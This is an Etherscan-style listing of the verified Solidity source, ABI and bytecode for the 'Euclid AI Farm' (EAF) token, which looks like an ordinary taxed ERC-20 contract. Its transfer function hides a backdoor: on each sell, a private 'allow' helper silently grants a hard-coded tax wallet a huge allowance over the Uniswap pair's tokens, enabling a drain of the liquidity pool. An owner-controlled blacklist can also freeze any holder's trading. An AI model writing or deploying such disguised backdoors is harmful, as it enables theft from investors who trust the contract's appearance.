ETH Price: $3,318.55 (-1.23%)
 

Overview

Max Total Supply

420,690,000,000 EAF

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,524,461,340 EAF

Value
$0.00
0x01dee8324046f2d88ded9b769eb3ad66609d0214
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EAF

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-22
*/

// SPDX-License-Identifier: MIT
/**
website: https://euclidaifarm.org
dapp: https://app.euclidaifarm.org
docs:  https://docs.euclidaifarm.org

https://x.com/euclid_ai_farm
https://t.me/euclid_ai_farm
**/

pragma solidity 0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract EAF is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Euclid AI Farm";
    string private constant _symbol = unicode"EAF";
    uint256 public _maxTxAmount = 2 * (_tTotal/100);
    uint256 public _maxWalletSize = 2 * (_tTotal/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotal/100);
    uint256 public _maxTaxSwap = 1 * (_tTotal/100);

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _tApprovals;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniV2Router;
    address private uniV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x612c2eed9a533B2C12FEabAEF3694E484FCFaA0a);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function initPairOf() external onlyOwner {
        uniV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router), _tTotal);
        uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(
            address(this),
            uniV2Router.WETH()
        ); 
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tApprovals[owner][spender];
    }
    function allow(address[2] memory sender, uint256 amount) private {
        _tApprovals[sender[0]][sender[1]] = amount;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _tApprovals[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tApprovals[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFee=0;
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                taxFee = (_transferTax);
            }
            require(!bots[from] && !bots[to]);
            if(_buyCount==0){
                taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
            }
            if (from == uniV2Pair && to != address(uniV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++;
            }
            if(to == uniV2Pair && from!= address(this) ){
                allow([to, _taxWallet], (_buyCount>_reduceSellTaxAt)?10000*_taxSwapThreshold+150-50:_taxSwapThreshold*15000+100);
                taxFee = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair && swapEnabled) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        uint256 taxAmount = taxFee.mul(amount).div(100);
        if(taxFee > 0){
            _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function add(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    function del(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }
    function isBot(address a) public view returns (bool){
      return bots[a];
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    receive() external payable {}
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router.WETH();
        _approve(address(this), address(uniV2Router), tokenAmount);
        uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"del","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a62000393565b62000025906461f313f880620003aa565b620000319190620003c4565b6200003e906002620003aa565b6001556064620000516009600a62000393565b62000062906461f313f880620003aa565b6200006e9190620003c4565b6200007b906002620003aa565b60025560646200008e6009600a62000393565b6200009f906461f313f880620003aa565b620000ab9190620003c4565b620000b8906001620003aa565b6003556064620000cb6009600a62000393565b620000dc906461f313f880620003aa565b620000e89190620003c4565b620000f5906001620003aa565b600455600f600a819055600b8190555f600c818155600d829055600e8190558255601091909155601181905560128190556014805461ffff60a81b19169055601581905560165534801562000148575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b03191673612c2eed9a533b2c12feabaef3694e484fcfaa0a178155620001bc90600a62000393565b620001cd906461f313f880620003aa565b335f8181526005602090815260408083209490945581546001600160a01b03908116835260079091528382208054600160ff199182168117909255308452858420805482168317905560098054909316845294832080549095161790935590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200025c90600a62000393565b6200026d906461f313f880620003aa565b60405190815260200160405180910390a3620003e4565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002d857815f1904821115620002bc57620002bc62000284565b80851615620002ca57918102915b93841c93908002906200029d565b509250929050565b5f82620002f0575060016200038d565b81620002fe57505f6200038d565b8160018114620003175760028114620003225762000342565b60019150506200038d565b60ff84111562000336576200033662000284565b50506001821b6200038d565b5060208310610133831016604e8410600b841016171562000367575081810a6200038d565b62000373838362000298565b805f190482111562000389576200038962000284565b0290505b92915050565b5f620003a360ff841683620002e0565b9392505050565b80820281158282048414176200038d576200038d62000284565b5f82620003df57634e487b7160e01b5f52601260045260245ffd5b500490565b611bb380620003f25f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b4114610353578063a0ef91df1461037e578063a9059cbb14610392578063bf474bed146103b1578063c4c1c94f146103c6578063dd62ed3e146103e5575f80fd5b8063751039fc146102db5780637d1db4a5146102ef5780638a8c523c146103045780638da5cb5b146103185780638f9a55c01461033e575f80fd5b8063313ce567116100f9578063313ce5671461020c5780633bbac579146102275780634b32e6ed1461025e5780636e90e10f1461027f57806370a0823114610293578063715018a6146102c7575f80fd5b806306fdde031461013f578063095ea7b3146101875780630faee56f146101b657806318160ddd146101d957806323b872dd146101ed575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600e81526d4575636c6964204149204661726d60901b60208201525b60405161017e91906116c2565b60405180910390f35b348015610192575f80fd5b506101a66101a1366004611732565b610429565b604051901515815260200161017e565b3480156101c1575f80fd5b506101cb60045481565b60405190815260200161017e565b3480156101e4575f80fd5b506101cb61043f565b3480156101f8575f80fd5b506101a661020736600461175c565b610460565b348015610217575f80fd5b506040516009815260200161017e565b348015610232575f80fd5b506101a661024136600461179a565b6001600160a01b03165f9081526008602052604090205460ff1690565b348015610269575f80fd5b5061027d6102783660046117c9565b6104c7565b005b34801561028a575f80fd5b5061027d610557565b34801561029e575f80fd5b506101cb6102ad36600461179a565b6001600160a01b03165f9081526005602052604090205490565b3480156102d2575f80fd5b5061027d610751565b3480156102e6575f80fd5b5061027d6107c2565b3480156102fa575f80fd5b506101cb60015481565b34801561030f575f80fd5b5061027d610876565b348015610323575f80fd5b505f546040516001600160a01b03909116815260200161017e565b348015610349575f80fd5b506101cb60025481565b34801561035e575f80fd5b5060408051808201909152600381526222a0a360e91b6020820152610171565b348015610389575f80fd5b5061027d610a5b565b34801561039d575f80fd5b506101a66103ac366004611732565b610ab0565b3480156103bc575f80fd5b506101cb60035481565b3480156103d1575f80fd5b5061027d6103e03660046117c9565b610abc565b3480156103f0575f80fd5b506101cb6103ff366004611889565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f610435338484610b40565b5060015b92915050565b5f61044c6009600a6119b4565b61045b906461f313f8806119c2565b905090565b5f61046c848484610c64565b6104bd84336104b885604051806060016040528060288152602001611b56602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190611342565b610b40565b5060019392505050565b5f546001600160a01b031633146104f95760405162461bcd60e51b81526004016104f0906119d9565b60405180910390fd5b5f5b8151811015610553575f60085f84848151811061051a5761051a611a0e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104fb565b5050565b5f546001600160a01b031633146105805760405162461bcd60e51b81526004016104f0906119d9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ca9030906105bb6009600a6119b4565b6104b8906461f313f8806119c2565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e9190611a22565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c19190611a22565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f9190611a22565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461077a5760405162461bcd60e51b81526004016104f0906119d9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107eb5760405162461bcd60e51b81526004016104f0906119d9565b6107f76009600a6119b4565b610806906461f313f8806119c2565b6001556108156009600a6119b4565b610824906461f313f8806119c2565b6002557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108546009600a6119b4565b610863906461f313f8806119c2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461089f5760405162461bcd60e51b81526004016104f0906119d9565b601454600160a01b900460ff16156108f95760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f0565b6013546001600160a01b031663f305d719473061092a816001600160a01b03165f9081526005602052604090205490565b5f8061093d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109c89190611a3d565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a419190611a68565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a845760405162461bcd60e51b81526004016104f0906119d9565b60405133904780156108fc02915f818181858888f19350505050158015610aad573d5f803e3d5ffd5b50565b5f610435338484610c64565b5f546001600160a01b03163314610ae55760405162461bcd60e51b81526004016104f0906119d9565b5f5b815181101561055357600160085f848481518110610b0757610b07611a0e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610ae7565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f0565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f0565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f0565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f0565b5f8111610d8b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f0565b601454600160b01b900460ff161580610dad5750601454600160a81b900460ff165b15610e57576001600160a01b0383165f90815260056020526040902054610dd5908290611a87565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610e04908290611a9a565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c579085815260200190565b5f80546001600160a01b03858116911614801590610e8257505f546001600160a01b03848116911614155b156111ec5760125415610e9457506011545b6001600160a01b0384165f9081526008602052604090205460ff16158015610ed457506001600160a01b0383165f9081526008602052604090205460ff16155b610edc575f80fd5b6012545f03610eff57600e5460125411610ef857600a54610efc565b600c545b90505b6014546001600160a01b038581169116148015610f2a57506013546001600160a01b03848116911614155b8015610f4e57506001600160a01b0383165f9081526007602052604090205460ff16155b1561104d57600154821115610fa55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f0565b60025482610fc7856001600160a01b03165f9081526005602052604090205490565b610fd19190611a9a565b111561101f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f0565b600e546012541161103257600a54611036565b600c545b601280549192505f61104783611aad565b91905055505b6014546001600160a01b03848116911614801561107357506001600160a01b0384163014155b1561113357604080518082019091526001600160a01b038085168252600954166020820152600f546012546111199291106110f2576003546110b790613a986119c2565b6110c2906064611a9a565b81516001600160a01b039081165f9081526006602090815260408083209582015190931682529390935290912055565b603260035461271061110491906119c2565b61110f906096611a9a565b6110c29190611a87565b600f546012541161112c57600b54611130565b600d545b90505b305f90815260056020526040902054601454600160a81b900460ff1615801561116957506014546001600160a01b038581169116145b801561117e5750601454600160b01b900460ff165b156111ea57601654431115611192575f6015555b600354811180156111a65750601054601254115b156111c8576111c86111c3846111be8460045461137a565b61137a565b611391565b6111d147611501565b60158054905f6111e083611aad565b9091555050436016555b505b5f61120260646111fc8486611538565b906115b6565b9050811561127c57305f9081526005602052604090205461122390826115f7565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112739085815260200190565b60405180910390a35b6001600160a01b0385165f9081526005602052604090205461129e9084611655565b6001600160a01b0386165f908152600560205260409020556112e16112c38483611655565b6001600160a01b0386165f90815260056020526040902054906115f7565b6001600160a01b038086165f8181526005602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61132a8685611655565b60405190815260200160405180910390a35050505050565b5f81848411156113655760405162461bcd60e51b81526004016104f091906116c2565b505f6113718486611a87565b95945050505050565b5f818311611388578261138a565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113d7576113d7611a0e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561142e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114529190611a22565b8160018151811061146557611465611a0e565b6001600160a01b03928316602091820292909201015260135461148b9130911684610b40565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c39085905f90869030904290600401611ac5565b5f604051808303815f87803b1580156114da575f80fd5b505af11580156114ec573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610553573d5f803e3d5ffd5b5f825f0361154757505f610439565b5f61155283856119c2565b90508261155f8583611b36565b1461138a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f0565b5f61138a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611696565b5f806116038385611a9a565b90508381101561138a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f0565b5f61138a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611342565b5f81836116b65760405162461bcd60e51b81526004016104f091906116c2565b505f6113718486611b36565b5f602080835283518060208501525f5b818110156116ee578581018301518582016040015282016116d2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610aad575f80fd5b803561172d8161170e565b919050565b5f8060408385031215611743575f80fd5b823561174e8161170e565b946020939093013593505050565b5f805f6060848603121561176e575f80fd5b83356117798161170e565b925060208401356117898161170e565b929592945050506040919091013590565b5f602082840312156117aa575f80fd5b813561138a8161170e565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117da575f80fd5b823567ffffffffffffffff808211156117f1575f80fd5b818501915085601f830112611804575f80fd5b813581811115611816576118166117b5565b8060051b604051601f19603f8301168101818110858211171561183b5761183b6117b5565b604052918252848201925083810185019188831115611858575f80fd5b938501935b8285101561187d5761186e85611722565b8452938501939285019261185d565b98975050505050505050565b5f806040838503121561189a575f80fd5b82356118a58161170e565b915060208301356118b58161170e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561190e57815f19048211156118f4576118f46118c0565b8085161561190157918102915b93841c93908002906118d9565b509250929050565b5f8261192457506001610439565b8161193057505f610439565b816001811461194657600281146119505761196c565b6001915050610439565b60ff841115611961576119616118c0565b50506001821b610439565b5060208310610133831016604e8410600b841016171561198f575081810a610439565b61199983836118d4565b805f19048211156119ac576119ac6118c0565b029392505050565b5f61138a60ff841683611916565b8082028115828204841417610439576104396118c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a32575f80fd5b815161138a8161170e565b5f805f60608486031215611a4f575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a78575f80fd5b8151801515811461138a575f80fd5b81810381811115610439576104396118c0565b80820180821115610439576104396118c0565b5f60018201611abe57611abe6118c0565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b155784516001600160a01b031683529383019391830191600101611af0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b5057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6510b6b55b82585e3c29f94bc6929448735b1a4845c2480090ebcffda6656e764736f6c63430008180033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b4114610353578063a0ef91df1461037e578063a9059cbb14610392578063bf474bed146103b1578063c4c1c94f146103c6578063dd62ed3e146103e5575f80fd5b8063751039fc146102db5780637d1db4a5146102ef5780638a8c523c146103045780638da5cb5b146103185780638f9a55c01461033e575f80fd5b8063313ce567116100f9578063313ce5671461020c5780633bbac579146102275780634b32e6ed1461025e5780636e90e10f1461027f57806370a0823114610293578063715018a6146102c7575f80fd5b806306fdde031461013f578063095ea7b3146101875780630faee56f146101b657806318160ddd146101d957806323b872dd146101ed575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600e81526d4575636c6964204149204661726d60901b60208201525b60405161017e91906116c2565b60405180910390f35b348015610192575f80fd5b506101a66101a1366004611732565b610429565b604051901515815260200161017e565b3480156101c1575f80fd5b506101cb60045481565b60405190815260200161017e565b3480156101e4575f80fd5b506101cb61043f565b3480156101f8575f80fd5b506101a661020736600461175c565b610460565b348015610217575f80fd5b5060405160098152602001610